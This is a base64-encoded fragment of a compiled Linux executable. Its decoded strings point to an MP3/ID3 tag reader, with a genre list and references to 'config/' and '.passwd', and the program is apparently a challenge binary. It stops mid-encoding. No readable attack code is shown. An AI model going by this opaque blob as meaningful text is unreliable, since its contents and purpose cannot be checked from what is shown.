AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY29uZmlnLwAucGFzc3dkAHIAdGl0bGUAYXJ0aXN0AGFsYnVtAAAAAAAAAAByYgBFcnJvciBvcGVuaW5nIGZpbGUAQ291bGQgbm90IGFsbG9jYXRlIGJ1ZmZlcgByK2IASUQzAFRJVDIAVFBFMQBUQUxCAFRQRTIAVENPTgBUUkNLAFRZRVIAQ09NTQBUUE9TAFRDT00AQVBJQwAlYyVzAGVuZwAlYyVzJWMlcwAlYyVzJWMlYyVjAHBuZwBpbWFnZS9wbmcAaW1hZ2UvanBlZwBub3RoaW5nIGZvdW5kAEJsdWVzAENsYXNzaWMgUm9jawBDb3VudHJ5AERhbmNlAERpc2NvAEZ1bmsAR3J1bmdlAEhpcC1Ib3AASmF6egBNZXRhbABOZXcgQWdlAE9sZGllcwBPdGhlcgBQb3AAUiZCAFJhcABSZWdnYWUAUm9jawBUZWNobm8ASW5kdXN0cmlhbABBbHRlcm5hdGl2ZQBTa2EARGVhdGggTWV0YWwAUHJhbmtzAFNvdW5kIFRyYWNrAEV1cm8tVGVjaG5vAEFtYmllbnQAVHJpcC1Ib3AAVm9jYWwASmF6eiBGdW5rAEZ1c2lvbgBUcmFuY2UAQ2xhc3NpY2FsAEluc3RydW1lbnRhbABBY2lkAEhvdXNlAEdhbWUAU291bmQgQ2xpcABHb3NwZWwATm9pc2UAQWx0ZXJuYXRpdmUgUm9jawBCYXNzAFNvdWwAUHVuawBTcGFjZQBNZWRpdGF0aXZlAEluc3RydW1lbnRhbCBQb3AASW5zdHJ1bWVudGFsIFJvY2sARXRoaWMAR290aGljAERhcmsgV2F2ZQBUZWNobm8tSW5kdXN0cmlhbABFbGVjdHJvbmljAFBvcC1Gb2xrAEV1cm9kYW5jZQBEcmVhbQBTb3V0aGVybiBSb2NrAENvbWVkeQBDdWx0AEdhbmdzdGEAVG9wIDQwAENocmlzdGlhbiBSYXAAUG9wLUZ1bmsASnVuZ2xlAE5hdGl2ZSBBbWVyaWNhbgBDYWJhcmV0AE5ldyBXYXZlAFBzeWNoYWRlbGljAFJhdmUAU2hvd3R1bmVzAFRyYWlsZXIATG8tRmkAVHJpYmFsAEFjaWQgUHVuawBBY2lkIEphenoAUG9sa2EAUmV0cm8ATXVzaWNhbABSb2NrIG4nIFJvbGwASGFyZCBSb2NrAEZvbGsARm9say1Sb2NrAE5hdGlvbmFsIEZvbGsAU3dpbmcARmFzdCBGdXNpb24AQmVib2IATGF0aW4AUmV2aXZhbABDZWx0aWMAQmx1ZWdyYXNzAEF2YW50Z2FyZGUAR290aGljIFJvY2sAUHJvZ3Jlc3NpdmUgUm9jawBQc3ljaGFkZWxpYyBSb2NrAFN5bXBob25pYyBSb2NrAFNsb3cgUm9jawBCaWcgQmFuZABDaG9ydXMARWFzeSBMaXN0ZW5pbmcAQWNvdXN0aWMASHVtb3VyAFNwZWVjaABDaGFuc29uAE9wZXJhAENoYW1iZXIgTXVzaWMAU29uYXRhAFN5bXBob255AEJvb3R5IEJhc3MAUHJpbXVzAFBvcm4gR3Jvb3ZlAFNhdGlyZQBTbG93IEphbQBDbHViAFRhbmdvAFNhbWJhAEZvbGtsb3JlAEJhbGxhZABQb3dlciBCYWxsYWQAUmh5dGhtaWMgU291bABGcmVlc3R5bGUARHVldABQdW5rIFJvY2sARHJ1bSBTb2xvAEEgQ2FwZWxsYQBFdXJvLUhvdXNlAERhbmNlIEhhbGwAR29hAERydW0gJiBCYXNzAENsdWItSG91c2UASGFyZGNvcmUgVGVjaG5vAFRlcnJvcgBJbmRpZQBCcml0UG9wAE5lZ2VycHVuawBQb2xzayBQdW5rAEJlYXQAQ2hyaXN0aWFuIEdhbmdzdGEgUmFwAEhlYXZ5IE1ldGFsAEJsYWNrIE1ldGFsAENyb3Nzb3ZlcgBDb250ZW1wb3JhcnkgQ2hyaXN0aWFuAENocmlzdGlhbiByb2NrAE1lcmVuZ3VlAFNhbHNhAFRocmFzaCBNZXRhbABBbmltZQBKcG9wAFN5bnRocG9wAEFic3RyYWN0AEFydCBSb2NrAEJhcm9xdWUAQmhhbmdyYQBCaWcgYmVhdABCcmVha2JlYXQAQ2hpbGxvdXQARG93bnRlbXBvAER1YgBFQk0ARWNsZWN0aWMARWxlY3RybwBFbGVjdHJvY2xhc2gARW1vAEV4cGVyaW1lbnRhbABHYXJhZ2UAR2xvYmFsAElETQBJbGxiaWVudABJbmR1c3Ryby1Hb3RoAEphbSBCYW5kAEtyYXV0cm9jawBMZWZ0ZmllbGQATG91bmdlAE1hdGggUm9jawBOZXcgUm9tYW50aWMATnUtQnJlYWt6AFBvc3QtUHVuawBQb3N0LVJvY2sAUHN5dHJhbmNlAFNob2VnYXplAFNwYWNlIFJvY2sAVHJvcCBSb2NrAFdvcmxkIE11c2ljAE5lb2NsYXNzaWNhbABBdWRpb2Jvb2sAQXVkaW8gdGhlYXRyZQBOZXVlIERldXRzY2hlIFdlbGxlAFBvZGNhc3QASW5kaWUtUm9jawBHLUZ1bmsARHVic3RlcABHYXJhZ2UgUm9jawBQc3liaWVudAAAE9///yPf//8z3///Q9///1Pf//9j3///c9///4Pf//+T3///o9///7Pf///D3///09///+Pf///z3///A+D//xPg//8j4P//M+D//0Pg//9T4P//Y+D//3Pg//+D4P//k+D//6Pg//+z4P//w+D//9Pg///j4P//8+D//wPh//8T4f//I+H//zPh//9D4f//U+H//2Ph//9z4f//g+H//5Ph//+j4f//s+H//8Ph///T4f//4+H///Ph//8D4v//E+L//yPi//8z4v//Q+L//1Pi//9j4v//c+L//4Pi//+T4v//o+L//7Pi///D4v//0+L//+Pi///z4v//A+P//xPj//8j4///M+P//0Pj//9T4///Y+P//3Pj//+D4///k+P//6Pj//+z4///w+P//9Pj///j4///8+P//wPk//8T5P//I+T//zPk//9D5P//U+T//2Pk//9z5P//g+T//5Pk//+j5P//s+T//8Pk///T5P//4+T///Pk//8D5f//E+X//yPl//8z5f//Q+X//1Pl//9j5f//c+X//4Pl//+T5f//o+X//7Pl///D5f//0+X//+Pl///z5f//A+b//xPm//8j5v//M+b//0Pm//9T5v//Y+b//3Pm//+D5v//k+b//6Pm//+z5v//w+b//9Pm///j5v//8+b//wPn//8T5///I+f//zPn//9D5///U+f//2Pn//9z5///g+f//5Pn//+j5///s+f//8Pn///T5///4+f///Pn//8D6P//E+j//yPo//8z6P//Q+j//1Po//9j6P//c+j//4Po//+T6P//o+j//7Po///D6P//0+j//+Po///z6P//A+n//xPp//8j6f//M+n//0Pp//9T6f//Y+n//3Pp//+D6f//k+n//6Pp//+z6f//w+n//9Pp///j6f//8+n//wPq//8T6v//I+r//zPq//9D6v//U+r//2Pq//9z6v//gOr//43q//+a6v//p+r//7Tq///B6v//zur//9vq///o6v////4A/v8AJWxjAElEMwByYgBFcnJvciBvcGVuaW5nIGZpbGUAARsDO1ACAABJAAAANLX//2wCAAD0uf//lAIAALm6//+sAgAAJ7v//8wCAAD8vP//7AIAAI29//8MAwAAHr7//ywDAACvvv//TAMAAFS///9sAwAAaMD//4wDAACnwP//rAMAACPB///MAwAA5MH//+wDAABZwv//DAQAANHD//8sBAAA2cT//0wEAABCxv//bAQAACvH//+MBAAA48f//6wEAAB7yP//zAQAAOjI///sBAAA2cr//wwFAAAMy///LAUAAD/L//9MBQAAcsv//2wFAACly///jAUAANjL//+sBQAAC8z//8wFAAA+zP//7AUAAHHM//8MBgAApMz//ywGAADXzP//TAYAAArN//9sBgAAxs3//4wGAACazv//rAYAALLP///MBgAALND//+wGAACm0P//DAcAACDR//8sBwAAmtH//0wHAAAU0v//bAcAAI7S//+MBwAACNP//6wHAAB60///zAcAAPTT///sBwAAbtT//wwIAAA+1f//LAgAALPV//9MCAAA+dX//2wIAABg1v//jAgAAHzW//+sCAAAwtb//8wIAAD51v//7AgAAETX//8MCQAAYNf//ywJAAC11///TAkAACDY//9sCQAAatj//4wJAADO2P//rAkAAFjZ///MCQAAu9n//+wJAABQ2v//DAoAAJba//8sCgAAuNv//0wKAADW5///bAoAACjo//+MCgAAauj//6wKAADm6P//zAoAAGPp///0CgAAmen//xQLAADP6f//NAsAAEjq//9UCwAAdOv//3QLAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAMCy///ABAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAABYt///CAAAAAAAAAAAAAAAHAAAAFwAAAAFuP//bgAAAABBDhCGAkMNBgJpDAcIAAAcAAAAfAAAAFO4///VAQAAAEEOEIYCQw0GA9ABDAcIABwAAACcAAAACLr//5EAAAAAQQ4QhgJDDQYCjAwHCAAAHAAAALwAAAB5uv//kQAAAABBDhCGAkMNBgKMDAcIAAAcAAAA3AAAAOq6//+RAAAAAEEOEIYCQw0GAowMBwgAABwAAAD8AAAAW7v//6UAAAAAQQ4QhgJDDQYCoAwHCAAAHAAAABwBAADgu///FAEAAABBDhCGAkMNBgMPAQwHCAAcAAAAPAEAANS8//8/AAAAAEEOEIYCQw0GegwHCAAAABwAAABcAQAA87z//3wAAAAAQQ4QhgJDDQYCdwwHCAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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